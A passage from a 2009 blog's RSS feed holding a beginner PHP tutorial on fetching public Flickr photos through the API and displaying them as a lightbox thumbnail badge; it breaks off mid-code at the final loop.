<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Upside Down City &#187; Uncategorized</title>
	<atom:link href="http://www.upsidedowncity.net/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.upsidedowncity.net</link>
	<description>journal of a design student</description>
	<lastBuildDate>Mon, 09 Mar 2009 02:17:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Make a Flickr badge with lightbox functionality.</title>
		<link>http://www.upsidedowncity.net/make-a-flickr-badge-with-lightbox-functionality/</link>
		<comments>http://www.upsidedowncity.net/make-a-flickr-badge-with-lightbox-functionality/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 02:17:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=530</guid>
		<description><![CDATA[When Josh one of my co-workers was coding the website for The Break, he wrote an awesome Flickr plugin for the framework that opens the medium size image from flickr in a lightbox, the result looks like this.

So when he wrote a post on interacting with the flickr api I was interested. After reading the [...]]]></description>
			<content:encoded><![CDATA[<p>When Josh one of my co-workers was coding the website for <a href="http://thebreak.uoregon.edu">The Break</a>, he wrote an awesome Flickr plugin for the framework that opens the medium size image from flickr in a lightbox, the result looks like this.</p>
<p><a href="http://www.upsidedowncity.net/wp-content/uploads/2009/03/picture-1.jpg" rel="lightbox"><img src="http://www.upsidedowncity.net/wp-content/uploads/2009/03/picture-1-399x266.jpg" alt="picture-1" title="picture-1" width="399" height="266" class="aligncenter size-medium wp-image-531" /></a></p>
<p>So when he wrote a post on <a href="http://emumarketing.uoregon.edu/josh/2009/01/29/interacting-with-the-flickr-api-using-php/">interacting with the flickr api</a> I was interested. After reading the post I figured it wouldn&#8217;t be to hard to write my own script to mimic the same effect. So the goals of this exercise are&#8230;</p>
<ol>
<li>Make a function that will use the Flickr api to generate a list of thumbnails</li>
<li>Make it so when the user clicks an image it opens in a lightbox</li>
</ol>
<h2>Example</h2>
<p>I&#8217;m using this code right now for my blog. You can see it in action at the bottom of my sidebar.</p>
<h2>The Code</h2>
<p>To kick this off here is the complete code that powers the function. I&#8217;ll go over it bit by bit so keep scrolling.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> GetFlickr<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
<span style="color: #000088;">$user</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'id'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;26736852@N06&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$params</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'method'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'flickr.people.getPublicPhotos'</span><span style="color: #339933;">,</span>
                <span style="color: #0000ff;">'user_id'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'26736852@N06'</span><span style="color: #339933;">,</span>
                <span style="color: #0000ff;">'per_page'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'12'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> request<span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$api_key</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'#################################'</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'http://api.flickr.com/services/rest/?'</span> <span style="color: #339933;">.</span>
           <span style="color: #0000ff;">'api_key='</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$api_key</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&amp;format=php_serial'</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$url</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'&amp;'</span> <span style="color: #339933;">.</span> <span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'='</span> <span style="color: #339933;">.</span> <span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000088;">$resp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span>  <span style="color: #990000;">unserialize</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$resp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$photos</span> <span style="color: #339933;">=</span> request<span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> build_photo_thumbnail<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'http://farm'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'farm'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.static.flickr.com/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'server'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span>
            <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'_'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'secret'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'_s.jpg'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> build_photo_original<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'http://farm'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'farm'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.static.flickr.com/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'server'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span>
            <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'_'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'secret'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.jpg'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> build_photo_page_url<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'http://flickr.com/photos/26736852@N06/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$photos</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'photos'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'photo'</span><span style="color: #009900;">&#93;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;li&gt;&lt;a href=&quot;'</span> <span style="color: #339933;">.</span> build_photo_original<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; rel=&quot;lightbox[flickr]&quot; title=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;&lt;img src=&quot;'</span> <span style="color: #339933;">.</span> build_photo_thumbnail<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; alt=&quot;'</span><span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; /&gt;&lt;/a&gt;&lt;/li&gt;'</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<h2>Getting Started</h2>
<p>Line 1 should be simple, we define a function to contain all of our code and make this easy to call. The next part is all code strippted from Joshs article for making the request to Flickr.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$user</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'id'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;26736852@N06&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$params</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'method'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'flickr.people.getPublicPhotos'</span><span style="color: #339933;">,</span>
                <span style="color: #0000ff;">'user_id'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'26736852@N06'</span><span style="color: #339933;">,</span>
                <span style="color: #0000ff;">'per_page'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'12'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> request<span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$api_key</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'#################################'</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'http://api.flickr.com/services/rest/?'</span> <span style="color: #339933;">.</span>
           <span style="color: #0000ff;">'api_key='</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$api_key</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&amp;format=php_serial'</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$url</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'&amp;'</span> <span style="color: #339933;">.</span> <span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'='</span> <span style="color: #339933;">.</span> <span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000088;">$resp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span>  <span style="color: #990000;">unserialize</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$resp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>These are just defining the various variables that we will need to make our api call. We will be using the <a href="http://www.flickr.com/services/api/flickr.people.getPublicPhotos.html">flickr.people.getPublicPhotos</a> method, its required parameters are <strong>api key</strong> and <strong>user_id</strong>. So in our <em>params</em> array we list our method and then our parameters <strong>in the order they are listed on the api page</strong>. We don&#8217;t need to list the api key here even though it is listed in the parameters.</p>
<p>For the request parameter we define out api key. You can get one at the <a href="http://www.flickr.com/services/api/keys/">flickr api key page</a>. The rest of the function just builds the rest of the url that will call the api for you. If someone could comment and tell me exactly what this does that would be excellent.</p>
<p>The <em>id</em> variable in the <em>user</em> array can be found using a service called <a href="http://idgettr.com/">idgetter</a>.</p>
<p>You make your api call with a simple line of code.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$photos</span> <span style="color: #339933;">=</span> request<span style="color: #009900;">&#40;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<h2>Parsing the Data</h2>
<p>So now the <em>$photos</em> variable holds all the data from your api call. Here is an example of what mine contains.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">Array</span>
<span style="color: #009900;">&#40;</span>
    <span style="color: #009900;">&#91;</span>photos<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">Array</span>
        <span style="color: #009900;">&#40;</span>
            <span style="color: #009900;">&#91;</span>page<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">1</span>
            <span style="color: #009900;">&#91;</span>pages<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">15</span>
            <span style="color: #009900;">&#91;</span>perpage<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">4</span>
            <span style="color: #009900;">&#91;</span>total<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">58</span>
            <span style="color: #009900;">&#91;</span>photo<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">Array</span>
                <span style="color: #009900;">&#40;</span>
                    <span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">Array</span>
                        <span style="color: #009900;">&#40;</span>
                            <span style="color: #009900;">&#91;</span>id<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">##########
</span>                            <span style="color: #009900;">&#91;</span>owner<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">26736852</span><span style="color: #339933;">@</span>N06
                            <span style="color: #009900;">&#91;</span>secret<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">##########
</span>                            <span style="color: #009900;">&#91;</span>server<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">####
</span>                            <span style="color: #009900;">&#91;</span>farm<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">#
</span>                            <span style="color: #009900;">&#91;</span>title<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> Munch
                            <span style="color: #009900;">&#91;</span>ispublic<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">1</span>
                            <span style="color: #009900;">&#91;</span>isfriend<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">0</span>
                            <span style="color: #009900;">&#91;</span>isfamily<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">0</span>
                        <span style="color: #009900;">&#41;</span>
&nbsp;
                    <span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">Array</span>
                        <span style="color: #009900;">&#40;</span>
                            <span style="color: #009900;">&#91;</span>id<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">##########
</span>                            <span style="color: #009900;">&#91;</span>owner<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">26736852</span><span style="color: #339933;">@</span>N06
                            <span style="color: #009900;">&#91;</span>secret<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">##########
</span>                            <span style="color: #009900;">&#91;</span>server<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">####
</span>                            <span style="color: #009900;">&#91;</span>farm<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">#
</span>                            <span style="color: #009900;">&#91;</span>title<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> Rubmle
                            <span style="color: #009900;">&#91;</span>ispublic<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">1</span>
                            <span style="color: #009900;">&#91;</span>isfriend<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">0</span>
                            <span style="color: #009900;">&#91;</span>isfamily<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">0</span>
                        <span style="color: #009900;">&#41;</span>
&nbsp;
                    <span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">Array</span>
                        <span style="color: #009900;">&#40;</span>
                            <span style="color: #009900;">&#91;</span>id<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">##########
</span>                            <span style="color: #009900;">&#91;</span>owner<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">26736852</span><span style="color: #339933;">@</span>N06
                            <span style="color: #009900;">&#91;</span>secret<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">##########
</span>                            <span style="color: #009900;">&#91;</span>server<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">####
</span>                            <span style="color: #009900;">&#91;</span>farm<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">#
</span>                            <span style="color: #009900;">&#91;</span>title<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> Tick Tock
                            <span style="color: #009900;">&#91;</span>ispublic<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">1</span>
                            <span style="color: #009900;">&#91;</span>isfriend<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">0</span>
                            <span style="color: #009900;">&#91;</span>isfamily<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">0</span>
                        <span style="color: #009900;">&#41;</span>
&nbsp;
                    <span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">Array</span>
                        <span style="color: #009900;">&#40;</span>
                            <span style="color: #009900;">&#91;</span>id<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">##########
</span>                            <span style="color: #009900;">&#91;</span>owner<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">26736852</span><span style="color: #339933;">@</span>N06
                            <span style="color: #009900;">&#91;</span>secret<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">##########
</span>                            <span style="color: #009900;">&#91;</span>server<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">####
</span>                            <span style="color: #009900;">&#91;</span>farm<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #666666; font-style: italic;">#
</span>                            <span style="color: #009900;">&#91;</span>title<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> OH Snap<span style="color: #339933;">!</span>
                            <span style="color: #009900;">&#91;</span>ispublic<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">1</span>
                            <span style="color: #009900;">&#91;</span>isfriend<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">0</span>
                            <span style="color: #009900;">&#91;</span>isfamily<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">0</span>
                        <span style="color: #009900;">&#41;</span>
&nbsp;
                <span style="color: #009900;">&#41;</span>
&nbsp;
        <span style="color: #009900;">&#41;</span>
&nbsp;
    <span style="color: #009900;">&#91;</span><span style="color: #990000;">stat</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=&gt;</span> ok
<span style="color: #009900;">&#41;</span></pre></div></div>

<p>So we have an array which is storing a whole lot data. In the next section we will build some more fuctions and a use a loop to build a list of photos we can style with CSS.</p>
<h2>Output the HTML</h2>
<p>We are going to build 3 functions <em>function build_photo_thumbnail</em>, <em>function build_photo_original</em>, <em>function build_photo_page_url</em>.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>25
26
27
28
29
30
31
32
33
34
35
36
37
38
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> build_photo_thumbnail<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'http://farm'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'farm'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.static.flickr.com/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'server'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span>
            <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'_'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'secret'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'_s.jpg'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> build_photo_original<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'http://farm'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'farm'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.static.flickr.com/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'server'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span>
            <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'_'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'secret'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.jpg'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> build_photo_page_url<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'http://flickr.com/photos/26736852@N06/'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>As you can see these functions are just using the data stored in the array to build the correct URL&#8217;s for the photos. Notice the <em>_s</em> in the <em>build_photo_thumbnail</em> function is used to get the square size of the photo. You can find out more about Flickrs URL scheme at their <a href="http://www.flickr.com/services/api/misc.urls.html">Photo Source URLs</a> page.</p>
<p>Now that we have our functions to the urls written its time for the last piece of code.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$photos</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'photos'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'photo'</span><span style="color: #009900;">&#93;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
